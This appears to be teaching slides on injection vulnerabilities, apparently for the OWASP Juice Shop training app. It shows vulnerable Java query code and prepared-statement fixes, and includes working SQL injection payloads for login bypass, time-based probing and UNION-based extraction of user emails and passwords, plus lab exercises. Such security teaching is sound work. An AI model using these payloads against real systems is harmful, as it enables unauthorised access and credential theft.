- Injection means tricking an application into including unintended commands in the data...
- ...sent to an Interpreter which then executes these commands
- Query languages: SQL, NoSQL, HQL, LDAP, XPath, ...
- Expression languages: SpEL, JSP/JSF EL...
- Template engines: Freemarker, Velocity, ...
- Command line interfaces: Bash, PowerShell, ...
You go to court and write your name as "Michael, you are now free to go". The judge then says "Calling Michael, you are now free to go" and the bailiffs let you go, because hey, the judge said so. [1]
CWEs Mapped | Max Incidence Rate | Avg Incidence Rate | Avg Weighted Exploit | Avg Weighted Impact | Max Coverage | Avg Coverage | Total Occurrences | Total CVEs |
---|---|---|---|---|---|---|---|---|
33 | 19.09% | 3.37% | 7.25 | 7.15 | 94.04% | 47.90% | 274,228 | 32,078 |
- Bypassing authentication
- Spying out data
- Manipulating data
- Complete system takeover
ℹ️ Attackers use error messages or codes to verify the success of an attack and gather information about type and structure of the database.
String query = "SELECT id FROM users " +
"WHERE name = '" + req.getParameter("username") + "'" +
"AND password = '" + req.getParameter("password") + "'";
For username=bjoern
and password=secret
this query would be created:
SELECT id FROM users WHERE name = 'bjoern' AND password = 'secret'
returning the id
of a matching record or nothing if no such record
exists.
String query = "SELECT id FROM users " +
"WHERE name = '" + req.getParameter("username") + "'" +
"AND password = '" + req.getParameter("password") + "'";
- Fill out all the gaps in the table on the following page
- If there are multiple solutions,
do not pick an unncessary complicated onepick a simple one
# | Username | Password | Created SQL Query | Query Result |
---|---|---|---|---|
1 | horst |
n0Rd4kAD3m!E |
42 |
|
2 | ' |
qwertz |
||
3 | '-- |
abc123 |
nothing | |
4 | horst'-- |
qwertz |
||
5 | SELECT id FROM users WHERE name = 'admin' |
1 |
||
6 | SELECT id FROM users |
1 , 2 , ... |
ℹ️ Valid options for Query Result are only numbers, nothing or an error.
admin'--
admin'/*
' OR 1=1--
' OR 1=1/*
') OR '1'='1
') OR ('1'='1
- If error messages do not give away clues to the attacker he can still "take a stab in the dark"
- The application behavior upon Injection attempts might give away their success/failure
- Injecting boolean conditions (e.g.
AND 1 = 2
orAND 1 = 1
) to determine injection vulnerability based on returned content - Injecting pauses (e.g.
WAITFOR DELAY '00:00:10'--
) to determine injection vulnerability based on response time
String query =
"SELECT * FROM books " +
"WHERE title LIKE '%" + req.getParameter("query") + "%'";
For query=owasp
this query would be created:
SELECT * FROM books WHERE title LIKE '%owasp%'
returning all records with "owasp" somewhere in the title.
👎 This will not work unless both result sets coincidentally have an equal number of columns:
' UNION SELECT * FROM users--
☝️ Additional closing braces might be needed depending on the original query:
') UNION SELECT * FROM users--
Static values are useful to probe for the right number of result set columns:
' UNION SELECT 1 FROM users--
' UNION SELECT 1,2 FROM users--
' UNION SELECT 1,2,3 FROM users--
1=:-1:, 2=:-1:, 3=:+1:!
Now only some actual column names have to be guessed or inferred:
' UNION SELECT email,username,passwd FROM users--
String query =
"SELECT * FROM books " +
"WHERE title LIKE '%" + req.getParameter("query") + "%'";
Statement statement = connection.createStatement();
ResultSet results = statement.executeQuery(query);
String searchParam = req.getParameter("query");
String query = "SELECT * FROM books WHERE title LIKE ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, '%' + searchParam + '%');
ResultSet results = pstmt.executeQuery();
-
Avoid the Interpreter entirely if possible! 💯
- e.g. use tech. stack API and library functions over OS commands
-
Use an interface that supports bind variables, e.g.
java.sql.PreparedStatement
with bind variables in plain JavaSqlCommand()
orOleDbCommand()
with bind variables in .NET- Named parameters in
createQuery()
of Hibernate
- Perform Allow List Input Validation on all user supplied input
- Enforce Least Privileges for the application's DB user
- Log in as any existing user using SQL Injection (:star::star: - :star::star::star:)
- Spy out all user account credentials from the database (:star::star::star::star:)
Apply the concept of Injection attacks to the NoSQL database being used for the User Reviews of products in the Juice Shop.
- Let the server (literally) sleep for some time (:star::star::star::star:)
- Update multiple product reviews at the same time (:star::star::star::star:)